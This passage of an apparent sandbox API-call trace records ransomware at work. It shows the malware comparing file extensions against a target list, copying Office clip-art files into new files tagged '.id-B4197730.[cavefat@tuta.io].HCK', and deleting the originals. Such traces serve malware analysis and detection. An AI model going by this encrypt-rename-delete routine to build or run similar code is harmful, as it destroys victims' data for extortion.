lpString2=".WMF") returned -1 [0171.581] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0241773.WMF") returned 68 [0171.581] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0241773.WMF") returned 68 [0171.581] lstrlenW (lpString=".doc") returned 4 [0171.581] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0171.581] lstrlenW (lpString=".docx") returned 5 [0171.581] lstrcmpiW (lpString1=".docx", lpString2="3.WMF") returned -1 [0171.581] lstrlenW (lpString=".pdf") returned 4 [0171.581] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0171.581] lstrlenW (lpString=".xls") returned 4 [0171.581] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0171.581] lstrlenW (lpString=".xlsx") returned 5 [0171.581] lstrcmpiW (lpString1=".xlsx", lpString2="3.WMF") returned -1 [0171.581] lstrlenW (lpString=".ppt") returned 4 [0171.581] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0171.581] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0241773.WMF") returned 68 [0171.581] lstrlenW (lpString=".zip") returned 4 [0171.581] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0171.581] lstrlenW (lpString=".rar") returned 4 [0171.581] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0171.581] lstrlenW (lpString=".bz2") returned 4 [0171.582] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0171.582] lstrlenW (lpString=".7z") returned 3 [0171.582] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0171.582] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0241773.WMF") returned 68 [0171.582] lstrlenW (lpString=".dbf") returned 4 [0171.582] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0171.582] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0241773.WMF") returned 68 [0171.582] lstrlenW (lpString=".1cd") returned 4 [0171.582] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0171.582] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0241773.WMF") returned 68 [0171.582] lstrlenW (lpString=".jpg") returned 4 [0171.582] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0171.582] lstrcmpiW (lpString1=".WMF", lpString2=".HCK") returned 1 [0171.582] lstrlenW (lpString="J0251007.WMF") returned 12 [0171.582] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0251007.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0251007.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x354 [0171.586] GetFileSizeEx (in: hFile=0x354, lpFileSize=0x310ff14 | out: lpFileSize=0x310ff14*=69644) returned 1 [0171.586] CloseHandle (hObject=0x354) returned 1 [0171.586] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0251007.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0251007.wmf")) returned 0x220 [0171.589] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0251007.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0251007.wmf.id-b4197730.[cavefat@tuta.io].hck")) returned 0xffffffff [0171.590] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0251007.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0251007.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f0 [0171.594] SetFilePointerEx (in: hFile=0x2f0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x310fec0 | out: lpNewFilePointer=0x0) returned 1 [0171.594] SetFilePointerEx (in: hFile=0x2f0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x310fec0 | out: lpNewFilePointer=0x0) returned 1 [0171.594] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0251007.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0251007.wmf.id-b4197730.[cavefat@tuta.io].hck"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2ec [0171.603] GetLastError () returned 0x0 [0171.603] ReadFile (in: hFile=0x2f0, lpBuffer=0x3b21020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x310fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b21020*, lpNumberOfBytesRead=0x310fecc*=0x1100c, lpOverlapped=0x0) returned 1 [0171.608] WriteFile (in: hFile=0x2ec, lpBuffer=0x3b21020*, nNumberOfBytesToWrite=0x11010, lpNumberOfBytesWritten=0x310fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b21020*, lpNumberOfBytesWritten=0x310fc94*=0x11010, lpOverlapped=0x0) returned 1 [0171.609] ReadFile (in: hFile=0x2f0, lpBuffer=0x3b21020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x310fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b21020*, lpNumberOfBytesRead=0x310fecc*=0x0, lpOverlapped=0x0) returned 1 [0171.609] WriteFile (in: hFile=0x2ec, lpBuffer=0x3b21020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x310fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b21020*, lpNumberOfBytesWritten=0x310fc94*=0xec, lpOverlapped=0x0) returned 1 [0171.609] SetEndOfFile (hFile=0x2ec) returned 1 [0171.612] CloseHandle (hObject=0x2ec) returned 1 [0171.614] SetFilePointerEx (in: hFile=0x2f0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x310fec0 | out: lpNewFilePointer=0x0) returned 1 [0171.614] SetEndOfFile (hFile=0x2f0) returned 1 [0171.618] CloseHandle (hObject=0x2f0) returned 1 [0171.620] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0251007.WMF.id-B4197730.[cavefat@tuta.io].HCK", dwFileAttributes=0x220) returned 1 [0171.620] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0251007.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0251007.wmf")) returned 1 [0171.623] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0251007.WMF") returned 68 [0171.623] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0251007.WMF") returned 68 [0171.623] lstrlenW (lpString=".doc") returned 4 [0171.623] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0171.623] lstrlenW (lpString=".docx") returned 5 [0171.623] lstrcmpiW (lpString1=".docx", lpString2="7.WMF") returned -1 [0171.623] lstrlenW (lpString=".pdf") returned 4 [0171.623] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0171.623] lstrlenW (lpString=".xls") returned 4 [0171.623] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0171.623] lstrlenW (lpString=".xlsx") returned 5 [0171.623] lstrcmpiW (lpString1=".xlsx", lpString2="7.WMF") returned -1 [0171.623] lstrlenW (lpString=".ppt") returned 4 [0171.623] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0171.623] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0251007.WMF") returned 68 [0171.623] lstrlenW (lpString=".zip") returned 4 [0171.623] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0171.623] lstrlenW (lpString=".rar") returned 4 [0171.623] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0171.623] lstrlenW (lpString=".bz2") returned 4 [0171.623] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0171.623] lstrlenW (lpString=".7z") returned 3 [0171.623] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0171.623] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0251007.WMF") returned 68 [0171.623] lstrlenW (lpString=".dbf") returned 4 [0171.623] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0171.623] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0251007.WMF") returned 68 [0171.623] lstrlenW (lpString=".1cd") returned 4 [0171.623] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0171.623] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0251007.WMF") returned 68 [0171.623] lstrlenW (lpString=".jpg") returned 4 [0171.623] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0171.623] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0251007.WMF") returned 68 [0171.623] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0251007.WMF") returned 68 [0171.623] lstrlenW (lpString=".doc") returned 4 [0171.623] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0171.623] lstrlenW (lpString=".docx") returned 5 [0171.623] lstrcmpiW (lpString1=".docx", lpString2="7.WMF") returned -1 [0171.623] lstrlenW (lpString=".pdf") returned 4 [0171.623] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0171.623] lstrlenW (lpString=".xls") returned 4 [0171.624] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0171.624] lstrlenW (lpString=".xlsx") returned 5 [0171.624] lstrcmpiW (lpString1=".xlsx", lpString2="7.WMF") returned -1 [0171.624] lstrlenW (lpString=".ppt") returned 4 [0171.624] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0171.624] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0251007.WMF") returned 68 [0171.624] lstrlenW (lpString=".zip") returned 4 [0171.624] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0171.624] lstrlenW (lpString=".rar") returned 4 [0171.624] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0171.624] lstrlenW (lpString=".bz2") returned 4 [0171.624] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0171.624] lstrlenW (lpString=".7z") returned 3 [0171.624] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0171.624] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0251007.WMF") returned 68 [0171.624] lstrlenW (lpString=".dbf") returned 4 [0171.624] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0171.624] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0251007.WMF") returned 68 [0171.624] lstrlenW (lpString=".1cd") returned 4 [0171.624] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0171.624] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0251007.WMF") returned 68 [0171.624] lstrlenW (lpString=".jpg") returned 4 [0171.624] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0171.624] lstrcmpiW (lpString1=".WMF", lpString2=".HCK") returned 1 [0171.624] lstrlenW (lpString="J0279644.WMF") returned 12 [0171.624] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0279644.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0279644.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x308 [0171.628] GetFileSizeEx (in: hFile=0x308, lpFileSize=0x310ff14 | out: lpFileSize=0x310ff14*=17200) returned 1 [0171.628] CloseHandle (hObject=0x308) returned 1 [0171.628] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0279644.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0279644.wmf")) returned 0x220 [0171.635] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0279644.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0279644.wmf.id-b4197730.[cavefat@tuta.io].hck")) returned 0xffffffff [0171.635] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0279644.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0279644.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x378 [0171.637] SetFilePointerEx (in: hFile=0x378, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x310fec0 | out: lpNewFilePointer=0x0) returned 1 [0171.637] SetFilePointerEx (in: hFile=0x378, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x310fec0 | out: lpNewFilePointer=0x0) returned 1 [0171.637] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0279644.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0279644.wmf.id-b4197730.[cavefat@tuta.io].hck"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f0 [0171.646] GetLastError () returned 0x0 [0171.646] ReadFile (in: hFile=0x378, lpBuffer=0x3b21020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x310fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b21020*, lpNumberOfBytesRead=0x310fecc*=0x4330, lpOverlapped=0x0) returned 1 [0171.647] WriteFile (in: hFile=0x2f0, lpBuffer=0x3b21020*, nNumberOfBytesToWrite=0x4340, lpNumberOfBytesWritten=0x310fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b21020*, lpNumberOfBytesWritten=0x310fc94*=0x4340, lpOverlapped=0x0) returned 1 [0171.648] ReadFile (in: hFile=0x378, lpBuffer=0x3b21020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x310fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b21020*, lpNumberOfBytesRead=0x310fecc*=0x0, lpOverlapped=0x0) returned 1 [0171.648] WriteFile (in: hFile=0x2f0, lpBuffer=0x3b21020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x310fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b21020*, lpNumberOfBytesWritten=0x310fc94*=0xec, lpOverlapped=0x0) returned 1 [0171.648] SetEndOfFile (hFile=0x2f0) returned 1 [0171.649] CloseHandle (hObject=0x2f0) returned 1 [0171.650] SetFilePointerEx (in: hFile=0x378, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x310fec0 | out: lpNewFilePointer=0x0) returned 1 [0171.650] SetEndOfFile (hFile=0x378) returned 1 [0171.655] CloseHandle (hObject=0x378) returned 1 [0171.656] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0279644.WMF.id-B4197730.[cavefat@tuta.io].HCK", dwFileAttributes=0x220) returned 1 [0171.656] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0279644.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0279644.wmf")) returned 1 [0171.661] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0279644.WMF") returned 68 [0171.661] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0279644.WMF") returned 68 [0171.661] lstrlenW (lpString=".doc") returned 4 [0171.661] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0171.661] lstrlenW (lpString=".docx") returned 5 [0171.661] lstrcmpiW (lpString1=".docx", lpString2="4.WMF") returned -1 [0171.661] lstrlenW (lpString=".pdf") returned 4 [0171.661] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0171.661] lstrlenW (lpString=".xls") returned 4 [0171.661] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0171.661] lstrlenW (lpString=".xlsx") returned 5 [0171.661] lstrcmpiW (lpString1=".xlsx", lpString2="4.WMF") returned -1 [0171.661] lstrlenW (lpString=".ppt") returned 4 [0171.661] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0171.661] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0279644.WMF") returned 68 [0171.661] lstrlenW (lpString=".zip") returned 4 [0171.661] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0171.661] lstrlenW (lpString=".rar") returned 4 [0171.661] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0171.661] lstrlenW (lpString=".bz2") returned 4 [0171.661] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0171.661] lstrlenW (lpString=".7z") returned 3 [0171.661] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0171.661] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0279644.WMF") returned 68 [0171.661] lstrlenW (lpString=".dbf") returned 4 [0171.661] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0171.661] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0279644.WMF") returned 68 [0171.661] lstrlenW (lpString=".1cd") returned 4 [0171.661] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0171.661] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0279644.WMF") returned 68 [0171.661] lstrlenW (lpString=".jpg") returned 4 [0171.661] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0171.661] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0279644.WMF") returned 68 [0171.661] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0279644.WMF") returned 68 [0171.661] lstrlenW (lpString=".doc") returned 4 [0171.661] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0171.661] lstrlenW (lpString=".docx") returned 5 [0171.661] lstrcmpiW (lpString1=".docx", lpString2="4.WMF") returned -1 [0171.661] lstrlenW (lpString=".pdf") returned 4 [0171.661] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0171.661] lstrlenW (lpString=".xls") returned 4 [0171.661] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0171.661] lstrlenW (lpString=".xlsx") returned 5 [0171.661] lstrcmpiW (lpString1=".xlsx", lpString2="4.WMF") returned -1 [0171.661] lstrlenW (lpString=".ppt") returned 4 [0171.661] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0171.661] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0279644.WMF") returned 68 [0171.662] lstrlenW (lpString=".zip") returned 4 [0171.662] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0171.662] lstrlenW (lpString=".rar") returned 4 [0171.662] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0171.662] lstrlenW (lpString=".bz2") returned 4 [0171.662] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0171.662] lstrlenW (lpString=".7z") returned 3 [0171.662] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0171.662] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0279644.WMF") returned 68 [0171.662] lstrlenW (lpString=".dbf") returned 4 [0171.662] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0171.662] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0279644.WMF") returned 68 [0171.662] lstrlenW (lpString=".1cd") returned 4 [0171.662] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0171.662] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0279644.WMF") returned 68 [0171.662] lstrlenW (lpString=".jpg") returned 4 [0171.662] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0171.662] lstrcmpiW (lpString1=".WMF", lpString2=".HCK") returned 1 [0171.662] lstrlenW (lpString="J0281243.WMF") returned 12 [0171.662] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0281243.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0281243.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x378 [0171.669] GetFileSizeEx (in: hFile=0x378, lpFileSize=0x310ff14 | out: lpFileSize=0x310ff14*=46516) returned 1 [0171.669] CloseHandle (hObject=0x378) returned 1 [0171.669] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0281243.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0281243.wmf")) returned 0x220 [0171.693] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0281243.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0281243.wmf.id-b4197730.[cavefat@tuta.io].hck")) returned 0xffffffff [0171.695] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0281243.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0281243.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x378 [0171.702] SetFilePointerEx (in: hFile=0x378, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x310fec0 | out: lpNewFilePointer=0x0) returned 1 [0171.702] SetFilePointerEx (in: hFile=0x378, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x310fec0 | out: lpNewFilePointer=0x0) returned 1 [0171.702] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0281243.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0281243.wmf.id-b4197730.[cavefat@tuta.io].hck"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f0 [0171.711] GetLastError () returned 0x0 [0171.711] ReadFile (in: hFile=0x378, lpBuffer=0x3b21020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x310fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b21020*, lpNumberOfBytesRead=0x310fecc*=0xb5b4, lpOverlapped=0x0) returned 1 [0171.713] WriteFile (in: hFile=0x2f0, lpBuffer=0x3b21020*, nNumberOfBytesToWrite=0xb5c0, lpNumberOfBytesWritten=0x310fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b21020*, lpNumberOfBytesWritten=0x310fc94*=0xb5c0, lpOverlapped=0x0) returned 1 [0171.714] ReadFile (in: hFile=0x378, lpBuffer=0x3b21020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x310fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b21020*, lpNumberOfBytesRead=0x310fecc*=0x0, lpOverlapped=0x0) returned 1 [0171.715] WriteFile (in: hFile=0x2f0, lpBuffer=0x3b21020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x310fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b21020*, lpNumberOfBytesWritten=0x310fc94*=0xec, lpOverlapped=0x0) returned 1 [0171.715] SetEndOfFile (hFile=0x2f0) returned 1 [0171.716] CloseHandle (hObject=0x2f0) returned 1 [0171.718] SetFilePointerEx (in: hFile=0x378, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x310fec0 | out: lpNewFilePointer=0x0) returned 1 [0171.718] SetEndOfFile (hFile=0x378) returned 1 [0171.722] CloseHandle (hObject=0x378) returned 1 [0171.724] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0281243.WMF.id-B4197730.[cavefat@tuta.io].HCK", dwFileAttributes=0x220) returned 1 [0171.725] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0281243.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0281243.wmf")) returned 1 [0171.727] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0281243.WMF") returned 68 [0171.727] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0281243.WMF") returned 68 [0171.727] lstrlenW (lpString=".doc") returned 4 [0171.727] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0171.727] lstrlenW (lpString=".docx") returned 5 [0171.727] lstrcmpiW (lpString1=".docx", lpString2="3.WMF") returned -1 [0171.727] lstrlenW (lpString=".pdf") returned 4 [0171.727] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0171.727] lstrlenW (lpString=".xls") returned 4 [0171.727] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0171.727] lstrlenW (lpString=".xlsx") returned 5 [0171.727] lstrcmpiW (lpString1=".xlsx", lpString2="3.WMF") returned -1 [0171.727] lstrlenW (lpString=".ppt") returned 4 [0171.727] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0171.727] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0281243.WMF") returned 68 [0171.727] lstrlenW (lpString=".zip") returned 4 [0171.727] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0171.727] lstrlenW (lpString=".rar") returned 4 [0171.727] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0171.727] lstrlenW (lpString=".bz2") returned 4 [0171.727] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0171.727] lstrlenW (lpString=".7z") returned 3 [0171.727] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0171.727] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0281243.WMF") returned 68 [0171.727] lstrlenW (lpString=".dbf") returned 4 [0171.727] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0171.727] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0281243.WMF") returned 68 [0171.727] lstrlenW (lpString=".1cd") returned 4 [0171.727] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0171.727] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0281243.WMF") returned 68 [0171.727] lstrlenW (lpString=".jpg") returned 4 [0171.727] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0171.728] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0281243.WMF") returned 68 [0171.728] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0281243.WMF") returned 68 [0171.728] lstrlenW (lpString=".doc") returned 4 [0171.728] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0171.728] lstrlenW (lpString=".docx") returned 5 [0171.728] lstrcmpiW (lpString1=".docx", lpString2="3.WMF") returned -1 [0171.728] lstrlenW (lpString=".pdf") returned 4 [0171.728] lstrcmpiW (lpString1=".pdf", 